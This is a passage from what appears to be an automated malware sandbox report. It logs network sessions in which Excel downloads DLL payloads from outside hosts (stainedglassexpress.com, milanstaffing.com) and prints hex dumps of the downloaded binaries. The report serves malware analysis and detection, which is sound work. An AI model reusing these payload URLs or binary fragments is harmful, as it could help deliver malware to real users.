82 9c f9 15 fc 6e 4a 96 6e ce 82 cb 21 e1 ef 6d 14 a2 95 e2 82 df 07 9c d6 74 e3 5a a7 c4 ff ff 1f fe 53 6b 67 64 bb d4 da 05 d9 1e b5 d6 9f 9d 75 b6 1a 3c 94 5b 14 da af 86 be 57 43 91 58 e6 d7 6e bb 32 7e e4 ae e2 d0 2b 05 75 93 6d a1 26 48 9d 83 09 bd b1 cc dd 10 35 b2 41 0d ee 8a a9 a1 96 ef 9f 56 43 db d5 23 6f a8 b1 5d ea 90 46 35 d8 6c 5f d4 76 93 d3 a7 ac 88 e6 ee 74 1c eb 55 63 8d 6a dd d8 63 87 bc 17 cb fc 87 5e 62 a8 09 ca b4 73 89 4b b1 c4 0a 2e 31 34 23 db a7 86 16 64 ab 6a c8 9f 5d a2 06 77 e4 5e b8 7d 8f fc 47 f8 22 96 25 6a c8 79 f6 7d 76 45 1d b9 43 ad 2d c4 c4 5b b3 57 60 83 42 bb d5 d0 fb b1 29 9e e2 ba e2 ec bc 82 4d 1e 0a db ab d6 15 66 e7 aa a1 57 31 ad 37 76 56 56 4d 83 5f 20 d8 33 b8 34 3b d7 13 f8 be 38 54 9d bd 12 13 63 3e 35 f4 ae f6 71 4b 0c 9a 56 0c 45 8f dc a3 4d ed 8b c5 cc c8 2e 03 7c 4a 92 e1 53 06 f8 84 ef d5 f1 29 41 7c ea 93 e0 e3 fa 33 7c 72 11 1f 57 e0 7b b5 6e 2a Data Ascii: 1faa\|S-=@"["TS,z+VE-UA@U@jZjUT;ODA5{s=sg=s33gL<^IQbI>i_>[:(wS/^Xx3/ye.\2ogy/\|;k}h .m~\<Z2^Qf_F/a~Th]QH6E?(mh^m gO7+vBS#PamBSYmW?]Ys\|sk;,E(Jgg_W\|>pN9:!]NHm<,^hnJn!mtZSkgdu<[WCXn2~+um&H5AVC#o]F5l_vtUcjc^bsK.14#dj]w^}G"%jy}vEC-[W`B)MfW17vVVM_ 34;8Tc>5qKVEM.\|JS)A\|3\|rW{n*
May 23, 2022 09:50:06.527519941 CEST	395	IN	Data Raw: d0 01 33 c5 32 2f eb 60 57 20 c5 87 88 e3 1a 81 a3 0f 71 cc 17 38 96 20 8e eb bd 8c 63 05 e0 58 26 70 44 fc 44 d7 8e fc 0f f5 ea 2f 6a cd ae 40 07 a6 73 16 92 d8 7b e1 76 75 56 c1 58 62 82 d0 2a 17 d1 20 e5 f5 d0 c5 3d 0b 43 45 de c2 d0 e4 6c 35 Data Ascii: 32/`W q8 cX&pDD/j@s{vuVXb* =CEl5S='!9Yk0wO5SAVY{UMiwosoLShkEFGQprD_f@a{-(D={\|uOf:=y=5 c@5A:qG\|;f/
May 23, 2022 09:50:06.527535915 CEST	396	IN	Data Raw: 1e bb 73 f9 af e1 9a 72 80 7a 2d 49 83 7a 17 00 f4 ed 53 a7 fa c2 35 15 00 cd 1f 90 7d 51 b8 c6 0f d0 6a f7 a1 76 e1 9a 4a 80 8a cb e6 6c 0a d7 2c 45 4c 4f 7d aa 10 f8 0f a0 53 97 4c 05 da 57 03 74 c5 d4 6e bf 01 ff 01 34 f3 e2 c5 50 c7 2a 80 76 Data Ascii: srz-IzS5}QjvJl,ELO}SLWtn4Pv=m?@uW_AZT[C6e-@Ob;/k~q\?1%<t+1s<pNR Lohm@o?evu}z?lE:g
May 23, 2022 09:50:06.527546883 CEST	398	IN	Data Raw: ef 03 9f 8e 05 68 d9 c5 cf 6e 07 fe 03 e8 e2 71 57 c1 0c 51 08 d0 b3 17 74 be 07 f8 0f 71 fe f7 63 30 07 14 63 de de 5f 41 7b 4b 00 5a a9 7e 05 18 4c 05 a8 f1 64 3f c8 9c 52 07 ca 9c cf 60 d4 ce 00 68 fb 7b 27 5c 01 fc 07 d0 e4 ae ff 04 3e 9d 0d Data Ascii: hnqWQtqc0c_A{KZ~Ld?R`h{'\>=A4fco{R(.1Jn@D*?>wj3<io HzX\|!n.)8u^xzY@I]e=ufM.hV
May 23, 2022 09:50:06.527561903 CEST	399	IN	Data Raw: c3 7a 8b 8f 85 35 36 ee 6a cf 79 61 26 e4 50 da c2 2a f5 ed f3 40 de 3b 00 3a 30 e0 44 90 75 2e 80 3e a8 5b 0e ba 59 1a 40 2b ba 3a ca 81 ff 00 ea d2 b7 3f 70 4e 06 40 4f cc 3c 67 1a f0 1f 40 d3 8f bb 05 7a a1 27 40 1f f7 c4 b5 95 17 a0 a5 25 8f Data Ascii: z56jya&P*@;:0Du.>[Y@+:?pN@O<g@z'@%\[LC=vVOXO:A;ft@b'4`tGmq]\|#id:S@2?~6@EoQ}@gz
May 23, 2022 09:50:06.527580023 CEST	400	IN	Data Raw: b3 96 01 47 6c 05 a8 ff e2 63 60 56 6b c0 3a ae 3c 19 56 9a 3b 00 72 77 7f 04 5a d4 04 90 b7 31 00 32 67 4f 3b 94 98 9f 02 e7 ec 05 e8 d4 d3 db e0 fe 1f e2 b7 a9 00 d6 a1 fb db e1 8e c8 14 98 fd 0e 00 34 fd 0a 1c b5 07 01 7a e1 1f c7 c0 a8 fd 0c Data Ascii: Glc`Vk:<V;rwZ12gO;4z15?P0(r\zH3}W:P ]M@@GD`IEMwD?Q=Lm/G/b~$Px\=-xRyu
May 23, 2022 09:50:06.527595043 CEST	401	IN	Data Raw: 40 3c cb d3 7e 39 0b e5 d1 fc 43 36 14 1c 77 3f 67 57 b4 25 53 50 40 38 f7 df 04 f0 98 71 98 65 59 47 ed 7b c8 ab bd c8 f9 f0 3c 52 eb 5b 8c 31 4b 33 b4 4d 45 04 b4 1f b9 4b 7b 6a 0c 82 fe 2e da 0e 15 52 bc 8c 59 6e e0 2c 83 21 0b 89 4a ed 9c 31 Data Ascii: @<~9C6w?gW%SP@8qeYG{<R[1K3MEK{j.RYn,!J15:o-J`~)(CLTT7mpjBsx!P\|=6Lt_}5;5BG.Q8Gq]@N<a4@"@?Gnn(;9*jE16
May 23, 2022 09:50:06.527611971 CEST	402	IN	Data Raw: 39 65 32 30 0d 0a 64 fe ac 3a b4 8e 50 aa ce 6e a2 5f 1f cd 4c 95 46 40 31 7e 28 68 59 c8 f8 ea 09 f3 d4 5a 41 0b 08 43 9b 97 90 cf 11 3c 38 b7 a6 c1 4d e7 f5 32 54 e5 99 b5 3a bb 41 7c f8 64 19 21 ea 85 dc 68 2a 0e 67 90 57 34 21 72 91 21 65 34 Data Ascii: 9e20d:Pn_LF@1~(hYZAC<8M2T:A\|d!h*gW4!r!e4~<8Vq\Bt[G8:(ItpKGhhTLRtRC7I4Sei0(SA\|#AU7~aTUEq@+9iyHw2 .60]K 1T,SRP
May 23, 2022 09:50:06.527627945 CEST	404	IN	Data Raw: b2 e7 45 14 70 7c 37 46 6a 39 f5 72 b4 21 b7 30 a5 59 59 40 c5 11 47 f4 c8 7d 62 6b 77 ed 7c bc 5d 13 58 aa 06 f9 ca 8e e2 cf 6f ad 2c 68 d9 be 8f 8c 96 c1 c2 6f e4 3e 58 a6 6d 9c 67 34 27 3a 02 12 d5 88 44 98 e1 8a 24 19 6a 4c 19 22 68 75 29 d4 Data Ascii: Ep\|7Fj9r!0YY@G}bkw\|]Xo,ho>Xmg4':D$jL"hu)x3lgB/whAu'OVE+d-~h0Zj_ sEqlH6D+rcET8$&,$QxLKW [C3,_Se<'{h/k-T"fe
May 23, 2022 09:50:06.556988955 CEST	405	IN	Data Raw: 84 10 0f 84 2b df 94 03 e1 a3 99 e6 a1 a7 e7 6c cb 43 2c 95 4e fa 23 b9 62 9b 06 68 96 a7 f8 bb 0a 1c 58 85 51 43 45 2e d2 29 8b 45 76 67 e1 12 3b 8f c1 4f df 34 57 7d 37 57 dd b2 4f 56 3d db 52 75 29 9f e2 38 1d 4b f4 1e aa 74 29 fe 2e 46 1c d7 Data Ascii: +lC,N#bhXQCE.)Evg;O4W}7WOV=Ru)8Kt).FY7Emq=\P3IQ~tT],t3CQybT(\jV1"]qS@I2i+yB1SAZ,tb=Hx}fR EC9}*3nC
May 23, 2022 09:50:06.557030916 CEST	407	IN	Data Raw: 87 79 b9 84 5b 1b fa fd ff a1 d6 da 5f 4d 44 b2 a5 f8 bf 68 ed e0 dd 89 05 3d 5f dc 4a 6b 81 13 14 77 cd bf 8c c6 88 06 14 87 0a bc d0 ea 57 cf e4 56 df f6 1b b7 fa 96 f8 56 4f 4c d6 ea bc b8 56 e7 4a b4 be 4f d2 9b bd cd ed 3b 36 ae 7d 98 65 44 Data Ascii: y[_MDh=_JkwWVVOLVJO;6}eD,-i]-9KW%hy~A(U=!,HcA{$HgL4wgIYKbdU`K@dFN{<K]f,;9N'Lc$:~UNhOsJtiH.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49173	66.71.247.68	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:50:10.497107029 CEST	646	OUT	GET /classes/05SkiiW9y4DDGvb6/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: stainedglassexpress.com Connection: Keep-Alive
May 23, 2022 09:50:10.723124981 CEST	648	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:50:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:50:10 GMT Content-Disposition: attachment; filename="1Cb5zOjLgWGDemz55C5.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b3cb29fefc=1653292210; expires=Mon, 23-May-2022 07:51:10 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:50:10 GMT Content-Length: 371200 X-Content-Type-Options: nosniff Vary: User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEd{b" 5@P .text `.rdata4 @@.data7@.pdata@@.rsrc@@.reloc
May 23, 2022 09:50:10.723170996 CEST	649	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B
May 23, 2022 09:50:10.723211050 CEST	650	IN	Data Raw: 34 76 c7 45 c0 59 4d 91 08 c7 45 c4 22 42 51 61 c7 45 c8 3c ad 27 30 c7 45 cc 45 41 0f 25 c7 45 d0 a6 14 48 2b c7 45 d4 65 21 68 8f c7 45 d8 ac 1d 38 63 c7 45 dc 6a 53 0b 32 c7 45 e0 34 f8 f1 78 c7 45 e4 50 76 35 3d c7 45 e8 91 09 12 39 c7 45 ec Data Ascii: 4vEYME"BQaE<'0EEA%EH+Ee!hE8cEjS2E4xEPv5=E9E<]ElOE'L#EAE:PtE'N8E1>#JEuJE@,:E5uEPKEsE# E )E$Ee&E(r#E,4XE0AE4pE8$ /E<@"/E@$ED 5.EH
May 23, 2022 09:50:10.723299026 CEST	652	IN	Data Raw: c7 85 10 02 00 00 2d ec 7e 35 c7 85 14 02 00 00 fe 27 4e 58 c7 85 18 02 00 00 2b 38 30 5a c7 85 1c 02 00 00 b3 10 75 2a c7 85 20 02 00 00 67 28 25 22 c7 85 24 02 00 00 f1 35 75 33 c7 85 28 02 00 00 49 18 01 4d c7 85 2c 02 00 00 2f c9 17 01 c7 85 Data Ascii: -~5'NX+80Zu* g(%"$5u3(IM,/046$-8p<R@;D$SHULAPlO)T'J:XA!\:-ZZ`'Npd%2[h0-RlAip
May 23, 2022 09:50:10.723341942 CEST	653	IN	Data Raw: e9 41 c7 85 28 04 00 00 11 2b e9 c1 c7 85 2c 04 00 00 43 13 da ee c7 85 30 04 00 00 3c 57 9e fd c7 85 34 04 00 00 64 49 d3 9f c7 85 38 04 00 00 43 76 da 42 c7 85 3c 04 00 00 7d 69 b2 c3 c7 85 40 04 00 00 69 42 7a 1e c7 85 44 04 00 00 b2 5e 13 9d Data Ascii: A(+,C0<W4dI8CvB<}i@iBzD^H-`LdPHT>tTX\6q`Qdlh6h;#l-p"mtHxd\|6uzJ\
May 23, 2022 09:50:10.723404884 CEST	654	IN	Data Raw: e2 17 1f 4d c7 85 40 06 00 00 ec 9f 10 31 c7 85 44 06 00 00 64 55 62 a4 c7 85 48 06 00 00 74 c6 9b 0c c7 85 4c 06 00 00 1d bb 38 a5 c7 85 50 06 00 00 c1 29 61 28 c7 85 54 06 00 00 d3 be 14 25 c7 85 58 06 00 00 61 a6 a5 74 c7 85 5c 06 00 00 b7 cc Data Ascii: M@1DdUbHtL8P)a(T%Xat\`9"dahDltJMpV0tRyix`M\|dW$BxDt6rn&.5%Y\?0,'
May 23, 2022 09:50:10.723445892 CEST	656	IN	Data Raw: 00 00 64 a7 14 b3 c7 85 58 08 00 00 18 70 50 32 c7 85 5c 08 00 00 0c 33 ba 42 c7 85 60 08 00 00 b2 d6 51 53 c7 85 64 08 00 00 3c e1 6c a3 c7 85 68 08 00 00 ba 80 81 3b c7 85 6c 08 00 00 ea 90 15 64 c7 85 70 08 00 00 b1 8c 80 55 c7 85 74 08 00 00 Data Ascii: dXpP2\3B`QSd<lh;ldpUt&"xIH\|ZpVV?x.>w NjI"WzA8#'4+k
May 23, 2022 09:50:10.723483086 CEST	657	IN	Data Raw: 6c 0a 00 00 b7 15 90 bd c7 85 70 0a 00 00 38 09 55 95 c7 85 74 0a 00 00 b6 0a ae 53 c7 85 78 0a 00 00 49 87 23 a5 c7 85 7c 0a 00 00 6f 52 50 e3 c7 85 80 0a 00 00 15 5c ab 86 48 8d 0d 01 f5 01 00 c7 85 84 0a 00 00 24 76 22 50 c7 85 88 0a 00 00 5b Data Ascii: lp8UtSxI#\|oRP\H$v"P[8\|PW?6Y"pvv++o(Rg~iC"syvA)3HuH"E3E3F
May 23, 2022 09:50:10.723570108 CEST	659	IN	Data Raw: 08 48 0f c3 51 10 48 83 c1 40 48 0f c3 51 d8 48 0f c3 51 e0 49 ff c9 48 0f c3 51 e8 48 0f c3 51 f0 48 0f c3 51 f8 75 d0 f0 80 0c 24 00 e9 54 ff ff ff cc cc cc cc cc cc 4c 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 83 7c 24 58 01 0f 85 ad Data Ascii: HQH@HQHQIHQHQHQu$TLD$T$HL$HH\|$XTu3^uT3SkHwRH;B}T3\!L\|I\|3;tHT3)Y;s
May 23, 2022 09:50:10.723608971 CEST	660	IN	Data Raw: 00 00 48 8b 4c 24 78 48 8b 00 48 2b c1 48 89 44 24 68 48 8b 84 24 c8 00 00 00 48 8b 40 38 48 89 84 24 88 00 00 00 48 8b 84 24 b0 00 00 00 8b 40 04 83 e0 66 85 c0 0f 85 04 02 00 00 48 8b 84 24 b0 00 00 00 48 89 44 24 38 48 8b 84 24 c0 00 00 00 48 Data Ascii: HL$xHH+HD$hH$H@8H$H$@fH$HD$8H$HD$@H$@HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|
May 23, 2022 09:50:10.848329067 CEST	662	IN	Data Raw: 8b 44 24 30 48 c7 40 08 ff ff ff ff b8 01 00 00 00 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 a7 e2 01 00 c7 05 0d 72 02 00 ff ff ff ff e8 88 52 00 00 48 83 c4 28 c3 cc Data Ascii: D$0H@HHH(=%rtrrRH(HT$HL$H(HD$0HvHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/T

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49174	107.189.3.39	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:50:16.716734886 CEST	1041	OUT	GET /images/D4TRnDubF/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: milanstaffing.com Connection: Keep-Alive
May 23, 2022 09:50:16.812772036 CEST	1043	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.0.33 set-cookie: 628b3cb8b9778=1653292216; expires=Mon, 23-May-2022 07:51:16 GMT; Max-Age=60; path=/ cache-control: no-cache, must-revalidate pragma: no-cache last-modified: Mon, 23 May 2022 07:50:16 GMT expires: Mon, 23 May 2022 07:50:16 GMT content-type: application/x-msdownload content-disposition: attachment; filename="T35PENELLOsp.dll" content-transfer-encoding: binary content-length: 371200 date: Mon, 23 May 2022 07:50:16 GMT server: LiteSpeed vary: User-Agent Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEd{b" 5@P .text `.rdata4 @@.data7@.pdata@@.rsrc@@.reloc@B
May 23, 2022 09:50:16.812820911 CEST	1044	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 23, 2022 09:50:16.812838078 CEST	1045	IN	Data Raw: c7 45 d4 65 21 68 8f c7 45 d8 ac 1d 38 63 c7 45 dc 6a 53 0b 32 c7 45 e0 34 f8 f1 78 c7 45 e4 50 76 35 3d c7 45 e8 91 09 12 39 c7 45 ec 1d 3c 5d 0e c7 45 f0 a5 6c 4f 0d c7 45 f4 27 4c 03 23 c7 45 f8 93 03 41 1d c7 45 fc 09 3a 50 74 c7 45 00 fe 27 Data Ascii: Ee!hE8cEjS2E4xEPv5=E9E<]ElOE'L#EAE:PtE'N8E1>#JEuJE@,:E5uEPKEsE# E )E$Ee&E(r#E,4XE0AE4pE8$ /E<@"/E@$ED 5.EHAELPEP"_ET<3EX39E\x
May 23, 2022 09:50:16.812851906 CEST	1047	IN	Data Raw: 10 75 2a c7 85 20 02 00 00 67 28 25 22 c7 85 24 02 00 00 f1 35 75 33 c7 85 28 02 00 00 49 18 01 4d c7 85 2c 02 00 00 2f c9 17 01 c7 85 30 02 00 00 05 96 11 ef c7 85 34 02 00 00 36 24 12 2d c7 85 38 02 00 00 ee 70 95 0c c7 85 3c 02 00 00 0c 52 02 Data Ascii: u* g(%"$5u3(IM,/046$-8p<R@;D$SHULAPlO)T'J:XA!\:-ZZ`'Npd%2[h0-RlAipN7#6tY&xV\|
May 23, 2022 09:50:16.812869072 CEST	1048	IN	Data Raw: 00 64 49 d3 9f c7 85 38 04 00 00 43 76 da 42 c7 85 3c 04 00 00 7d 69 b2 c3 c7 85 40 04 00 00 69 42 7a 1e c7 85 44 04 00 00 b2 5e 13 9d c7 85 48 04 00 00 2d ce a9 60 c7 85 4c 04 00 00 64 1e ea 16 c7 85 50 04 00 00 88 48 ea da c7 85 54 04 00 00 c1 Data Ascii: dI8CvB<}i@iBzD^H-`LdPHT>tTX\6q`Qdlh6h;#l-p"mtHxd\|6uzJ\Ng(kjQCeM
May 23, 2022 09:50:16.812887907 CEST	1049	IN	Data Raw: 06 00 00 1d bb 38 a5 c7 85 50 06 00 00 c1 29 61 28 c7 85 54 06 00 00 d3 be 14 25 c7 85 58 06 00 00 61 a6 a5 74 c7 85 5c 06 00 00 b7 cc ae 8b c7 85 60 06 00 00 b7 13 39 22 c7 85 64 06 00 00 e7 0c 61 dc c7 85 68 06 00 00 97 ff 9c 44 c7 85 6c 06 00 Data Ascii: 8P)a(T%Xat\`9"dahDltJMpV0tRyix`M\|dW$BxDt6rn&.5%Y\?0,'aPKxI
May 23, 2022 09:50:16.812906027 CEST	1051	IN	Data Raw: 85 64 08 00 00 3c e1 6c a3 c7 85 68 08 00 00 ba 80 81 3b c7 85 6c 08 00 00 ea 90 15 64 c7 85 70 08 00 00 b1 8c 80 55 c7 85 74 08 00 00 e8 dc 26 22 c7 85 78 08 00 00 49 c4 12 48 c7 85 7c 08 00 00 d4 ec 01 5a c7 85 80 08 00 00 a6 af 70 56 c7 85 84 Data Ascii: d<lh;ldpUt&"xIH\|ZpVV?x.>w NjI"WzA8#'4+kAkD}LhH
May 23, 2022 09:50:16.812922001 CEST	1052	IN	Data Raw: a5 c7 85 7c 0a 00 00 6f 52 50 e3 c7 85 80 0a 00 00 15 5c ab 86 48 8d 0d 01 f5 01 00 c7 85 84 0a 00 00 24 76 22 50 c7 85 88 0a 00 00 5b e4 d0 38 c7 85 8c 0a 00 00 95 ff 98 16 c7 85 90 0a 00 00 da 7c 50 57 c7 85 94 0a 00 00 98 3f 36 8d c7 85 98 0a Data Ascii: \|oRP\H$v"P[8\|PW?6Y"pvv++o(Rg~iC"syvA)3HuH"E3E3FH$A@A0
May 23, 2022 09:50:16.812939882 CEST	1053	IN	Data Raw: f8 75 d0 f0 80 0c 24 00 e9 54 ff ff ff cc cc cc cc cc cc 4c 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 83 7c 24 58 01 0f 85 ad 00 00 00 e8 9e 54 00 00 85 c0 75 07 33 c0 e9 a9 01 00 00 e8 5e 09 00 00 85 c0 75 0c e8 f5 54 00 00 33 c0 e9 94 Data Ascii: u$TLD$T$HL$HH\|$XTu3^uT3SkHwRH;B}T3\!L\|I\|3;tHT3)Y;sk\|$XuY=X~DP
May 23, 2022 09:50:16.812958002 CEST	1055	IN	Data Raw: 00 48 8b 84 24 b0 00 00 00 8b 40 04 83 e0 66 85 c0 0f 85 04 02 00 00 48 8b 84 24 b0 00 00 00 48 89 44 24 38 48 8b 84 24 c0 00 00 00 48 89 44 24 40 48 8b 84 24 c8 00 00 00 8b 40 48 89 44 24 30 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 88 00 Data Ascii: H$@fH$HD$8H$HD$@H$@HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|uD$H3D$0HkH$DHD$x
May 23, 2022 09:50:16.842438936 CEST	1056	IN	Data Raw: 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 a7 e2 01 00 c7 05 0d 72 02 00 ff ff ff ff e8 88 52 00 00 48 83 c4 28 c3 cc cc cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d 76 f7 01 00 48 89 88 a0 00 00 00 48 8b Data Ascii: (=%rtrrRH(HT$HL$H(HD$0HvHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/THD$0HL$8HHD$0HuH

Statistics

